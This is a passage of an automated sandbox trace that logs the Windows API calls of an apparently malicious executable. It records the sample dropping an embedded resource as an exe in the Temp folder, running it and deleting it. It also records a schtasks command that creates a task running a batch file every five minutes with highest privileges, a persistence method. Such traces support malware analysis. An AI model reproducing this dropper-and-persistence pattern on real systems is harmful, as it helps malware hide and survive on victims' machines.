(HeapHandle=0x520000, Flags=0x8, Size=0x48) returned 0x536ef8 [0085.927] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x28) returned 0x536f48 [0085.927] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x28) returned 0x536f78 [0085.927] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x1a) returned 0x535a98 [0085.927] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x4a) returned 0x536fa8 [0085.927] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x72) returned 0x52f9e8 [0085.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x30) returned 0x537000 [0085.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x2e) returned 0x537038 [0085.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x1c) returned 0x535ac0 [0085.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0xd2) returned 0x537070 [0085.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x7c) returned 0x537150 [0085.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x36) returned 0x5371d8 [0085.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x3a) returned 0x538438 [0085.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x90) returned 0x537218 [0085.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x24) returned 0x5372b0 [0085.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x30) returned 0x5372e0 [0085.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x36) returned 0x537318 [0085.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x48) returned 0x537358 [0085.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x52) returned 0x5373a8 [0085.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x3c) returned 0x538480 [0085.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x18) returned 0x537408 [0085.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x82) returned 0x537428 [0085.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x2e) returned 0x5374b8 [0085.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x1e) returned 0x535ae8 [0085.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x2c) returned 0x5374f0 [0085.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x54) returned 0x537528 [0085.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x52) returned 0x537588 [0085.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x2a) returned 0x5375e8 [0085.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x3c) returned 0x5384c8 [0085.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x54) returned 0x537620 [0085.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x24) returned 0x537680 [0085.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x30) returned 0x5376b0 [0085.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x8c) returned 0x5376e8 [0085.928] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537848 | out: hHeap=0x520000) returned 1 [0085.929] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x800) returned 0x5393d8 [0085.929] GetLastError () returned 0x0 [0085.929] SetLastError (dwErrCode=0x0) [0085.929] GetLastError () returned 0x0 [0085.929] SetLastError (dwErrCode=0x0) [0085.929] GetLastError () returned 0x0 [0085.929] SetLastError (dwErrCode=0x0) [0085.929] GetACP () returned 0x4e4 [0085.929] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x220) returned 0x539be0 [0085.929] GetLastError () returned 0x0 [0085.929] SetLastError (dwErrCode=0x0) [0085.929] IsValidCodePage (CodePage=0x4e4) returned 1 [0085.929] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fecc | out: lpCPInfo=0x18fecc) returned 1 [0085.929] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f994 | out: lpCPInfo=0x18f994) returned 1 [0085.929] GetLastError () returned 0x0 [0085.929] SetLastError (dwErrCode=0x0) [0085.929] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0085.929] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f718, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0085.929] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9a8 | out: lpCharType=0x18f9a8) returned 1 [0085.929] GetLastError () returned 0x0 [0085.929] SetLastError (dwErrCode=0x0) [0085.929] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0085.930] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0085.930] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0085.930] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0085.930] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fca8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿå\x94í\x9cäþ\x18", lpUsedDefaultChar=0x0) returned 256 [0085.930] GetLastError () returned 0x0 [0085.930] SetLastError (dwErrCode=0x0) [0085.930] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0085.930] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0085.930] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0085.930] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0085.930] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fba8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿå\x94í\x9cäþ\x18", lpUsedDefaultChar=0x0) returned 256 [0085.930] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x80) returned 0x539e08 [0085.930] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0085.930] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40f584) returned 0x0 [0085.930] RtlSizeHeap (HeapHandle=0x520000, Flags=0x0, MemoryPointer=0x539e08) returned 0x80 [0085.931] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0085.931] GetProcAddress (hModule=0x76e10000, lpProcName="IsWow64Process") returned 0x76e2195e [0085.931] GetCurrentProcess () returned 0xffffffff [0085.931] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18ff34 | out: Wow64Process=0x18ff34) returned 1 [0085.931] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fd28, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0085.931] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x18fb20, nSize=0x104 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0085.931] FindResourceW (hModule=0x0, lpName="RCHANDLE64", lpType="BINRES") returned 0x476060 [0085.931] LoadResource (hModule=0x0, hResInfo=0x476060) returned 0x43c648 [0085.931] SizeofResource (hModule=0x0, hResInfo=0x476060) returned 0x37490 [0085.931] LockResource (hResData=0x43c648) returned 0x43c648 [0085.931] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x539e90 [0085.931] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x18f95c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0085.932] GetFileType (hFile=0x94) returned 0x1 [0085.932] WriteFile (in: hFile=0x94, lpBuffer=0x43c648*, nNumberOfBytesToWrite=0x37000, lpNumberOfBytesWritten=0x18df04, lpOverlapped=0x0 | out: lpBuffer=0x43c648*, lpNumberOfBytesWritten=0x18df04*=0x37000, lpOverlapped=0x0) returned 1 [0085.937] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1000) returned 0x539eb0 [0085.937] WriteFile (in: hFile=0x94, lpBuffer=0x539eb0*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x18df00, lpOverlapped=0x0 | out: lpBuffer=0x539eb0*, lpNumberOfBytesWritten=0x18df00*=0x490, lpOverlapped=0x0) returned 1 [0085.937] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x539eb0 | out: hHeap=0x520000) returned 1 [0085.937] CloseHandle (hObject=0x94) returned 1 [0085.937] GetCommandLineW () returned="bv6ncK8c.exe -accepteula \"To_Do_List.jtp\" -nobanner" [0085.938] CreateProcessW (in: lpApplicationName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe", lpCommandLine="bv6ncK8c.exe -accepteula \"To_Do_List.jtp\" -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18facc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fb10 | out: lpCommandLine="bv6ncK8c.exe -accepteula \"To_Do_List.jtp\" -nobanner", lpProcessInformation=0x18fb10*(hProcess=0x98, hThread=0x94, dwProcessId=0xd1c, dwThreadId=0xd20)) returned 1 [0085.949] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0 [0096.199] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe")) returned 1 [0097.223] CloseHandle (hObject=0x98) returned 1 [0097.224] CloseHandle (hObject=0x94) returned 1 [0097.225] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5393d8 | out: hHeap=0x520000) returned 1 [0097.225] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fedc | out: phModule=0x18fedc) returned 0 [0097.226] ExitProcess (uExitCode=0x0) [0097.227] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5360c8 | out: hHeap=0x520000) returned 1 Process: id = "159" image_name = "schtasks.exe" filename = "c:\\windows\\syswow64\\schtasks.exe" page_root = "0x1dc9000" os_pid = "0xd04" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "152" os_parent_pid = "0xcbc" cmd_line = "schtasks /Create /tn DSHCA /tr \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YW0T0jSM.bat\" /sc minute /mo 5 /RL HIGHEST /F" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 713 os_tid = 0xd08 [0085.575] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x27faf4 | out: lpSystemTimeAsFileTime=0x27faf4*(dwLowDateTime=0xd6ac2b80, dwHighDateTime=0x1d5d06a)) [0085.575] GetCurrentProcessId () returned 0xd04 [0085.575] GetCurrentThreadId () returned 0xd08 [0085.575] GetTickCount () returned 0x115d49e [0085.576] RtlQueryPerformanceCounter () returned 0x1 [0085.576] GetModuleHandleA (lpModuleName=0x0) returned 0x520000 [0085.576] __set_app_type (_Type=0x1) [0085.576] __p__fmode () returned 0x76be31f4 [0085.576] __p__commode () returned 0x76be31fc [0085.577] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x537881) returned 0x0 [0085.577] __wgetmainargs (in: _Argc=0x549e6c, _Argv=0x549e74, _Env=0x549e70, _DoWildCard=0, _StartInfo=0x549e80 | out: _Argc=0x549e6c, _Argv=0x549e74, _Env=0x549e70) returned 0 [0085.577] _onexit (_Func=0x540fe2) returned 0x540fe2 [0085.577] _onexit (_Func=0x540ff3) returned 0x540ff3 [0085.578] _onexit (_Func=0x541002) returned 0x541002 [0085.578] _onexit (_Func=0x54101e) returned 0x54101e [0085.578] _onexit (_Func=0x54103a) returned 0x54103a [0085.578] _onexit (_Func=0x541056) returned 0x541056 [0085.578] _onexit (_Func=0x541072) returned 0x541072 [0085.578] _onexit (_Func=0x54108e) returned 0x54108e [0085.578] _onexit (_Func=0x5410aa) returned 0x5410aa [0085.578] _onexit (_Func=0x5410c6) returned 0x5410c6 [0085.578] _onexit (_Func=0x5410e2) returned 0x5410e2 [0085.579] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0085.579] WinSqmIsOptedIn () returned 0x0 [0085.579] GetProcessHeap () returned 0x730000 [0085.579] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, 